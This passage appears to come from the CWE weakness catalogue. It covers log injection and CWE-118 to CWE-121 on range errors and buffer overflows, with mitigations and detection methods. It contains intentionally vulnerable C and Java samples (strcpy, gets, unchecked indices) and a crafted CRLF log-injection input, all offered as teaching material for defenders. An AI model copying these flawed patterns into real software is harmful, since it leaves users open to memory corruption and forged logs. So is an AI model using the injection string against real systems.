encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following web application code attempts to read an integer value from a request object. If the `parseInt` call fails, then the input is logged with an error message indicating what happened.

Example Language: Java

(bad)

```
String val = request.getParameter("val");
try {
    int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
    log.info("Failed to parse val = " + val);
}
...
```

If a user submits the string "twenty-one" for `val`, the following entry is logged:

- INFO: Failed to parse val=twenty-one

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

- INFO: Failed to parse val=twenty-one
- INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2006-4624 | Chain: inject fake log entries with fake timestamps using CRLF injection https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4624 |

CWE-118: Incorrect Access of Indexable Resource ('Range Error')

| | |
|----------------------------|----------------------------|
| Weakness ID : 118 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

| | |
|----------------------------|------------------------|
| Weakness ID : 119 | Status : Stable |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Language : Assembly (Prevalence = Undetermined)

Alternate Terms

Buffer Overflow : The "buffer overflow" term has many different meanings to different audiences. From a CWE mapping perspective, this term should be avoided where possible. Some researchers, developers, and tools intend for it to mean "write past the end of a buffer," whereas other use the same term to mean "any read or write outside the boundaries of a buffer, whether before the beginning of the buffer or after the end of the buffer." Still others using the same term could mean "any action after the end of a buffer, whether it is a read or write." Since the term is commonly used for exploitation and for vulnerabilities, it further confuses things.

buffer overrun : Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow." See the alternate term for "buffer overflow" for context.

memory safety : "Memory safety" is generally used for techniques that avoid weaknesses related to memory access, such as those identified by CWE-119 and its descendants. However, the term is not formal, and there is likely disagreement between practitioners as to which weaknesses are implicitly covered by the "memory safety" term.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|--|---|------------|
| Integrity Confidentiality Availability | Execute Unauthorized Code or Commands Modify Memory <i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i> | |
| Availability Confidentiality | Read Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i> | |
| Confidentiality | Read Memory <i>In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i> | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode Quality Analysis Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source Code Quality Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations**Phase: Requirements**

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory

management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in

cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if ('&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
}
```

```

    return dst_buf;
}

```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 3:

The following example asks a user for an offset into an array to select an item.

Example Language: C

(bad)

```

int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}

```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 4:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C

(bad)

```

int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}

```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C

(good)

```

...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}

```

Example 5:

Windows provides the `_mbs` family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: `_mbsinc` `_mbsdec` `_mbsncat` `_mbsncpy` `_mbsnextc` `_mbsnset` `_mbsrev` `_mbsset` `_mbsstr` `_mbstok` `_mbccpy` `_mbslen`

Observed Examples

| Reference | Description |
|-------------------------|---|
| CVE-2009-2550 | Classic stack-based buffer overflow in media player using a long entry in a playlist https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2550 |

Notes

Applicable Platform

It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-------------------|--|
| OWASP Top Ten 2004 | A5 | Exact | Buffer Overflows |
| CERT C Secure Coding | ARR00-C | | Understand how arrays work |
| CERT C Secure Coding | ARR30-C | CWE More Abstract | Do not form or use out-of-bounds pointers or array subscripts |
| CERT C Secure Coding | ARR38-C | CWE More Abstract | Guarantee that library functions do not form invalid pointers |

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID : 120

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Language : Assembly (Prevalence = Undetermined)

Alternate Terms

Classic Buffer Overflow : This term was frequently used by vulnerability researchers during approximately 1995 to 2005 to differentiate buffer copies without length checks (which had been known about for decades) from other emerging weaknesses that still involved invalid accesses of buffers, as vulnerability researchers began to develop advanced exploitation techniques.

Unbounded Transfer :

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Integrity | Modify Memory | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| Availability | <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</i> | |
| Availability | Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop. | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated

space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Build and Compilation

Phase: Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Architecture and Design**Phase: Operation**

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design**Phase: Operation**

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples**Example 1:**

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

Example Language: C

(bad)

```
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);
```

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

Example Language: C

(bad)

```
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3:

The code below calls the gets() function to read in data from the command line.

Example Language: C

(bad)

```
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}
```

However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4:

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

Example Language: C

(bad)

```
...
struct hostent *clienthp;
char hostname[MAX_LEN];
// create server socket, bind to server address and listen on socket
...
// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {
    int clientlen = sizeof(struct sockaddr_in);
    int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);
    if (clientsocket >= 0) {
        clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
        strcpy(hostname, clienthp->h_name);
        logOutput("Accepted client connection from host ", hostname);
        // process client request
        ...
        close(clientsocket);
    }
}
close(serversocket);
```

...

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2000-1094 | buffer overflow using command with long argument https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1094 |

Notes

Relationship

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

Terminology

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

Taxonomy Mappings

CWE-121: Stack-based Buffer Overflow

Weakness ID : 121

Status: Draft

Structure : Simple

Abstraction : Variant

Description

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 787 | Out-of-bounds Write | 1505 |
| ChildOf |  | 788 | Access of Memory Location After End of Buffer | 1513 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX `system()` call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

Alternate Terms

Stack Overflow : "Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|---|---|------------|
| Availability | Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i> | |
| Integrity Confidentiality Availability Access Control | Modify Memory Execute Unauthorized Code or Commands Bypass Protection Mechanism <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.</i> | |
| Integrity Confidentiality Availability Access Control Other | Modify Memory Execute Unauthorized Code or Commands Bypass Protection Mechanism Other <i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i> | |

Potential Mitigations

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

Phase: Implementation

Implement and perform bounds checking on input.

Phase: Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

Phase: Operation

Use OS-level preventative functionality, such as ASLR. This is not a complete solution.

Demonstrative Examples

Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

Example Language: C

(bad)

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
}
```

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which

resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|--|------|------|
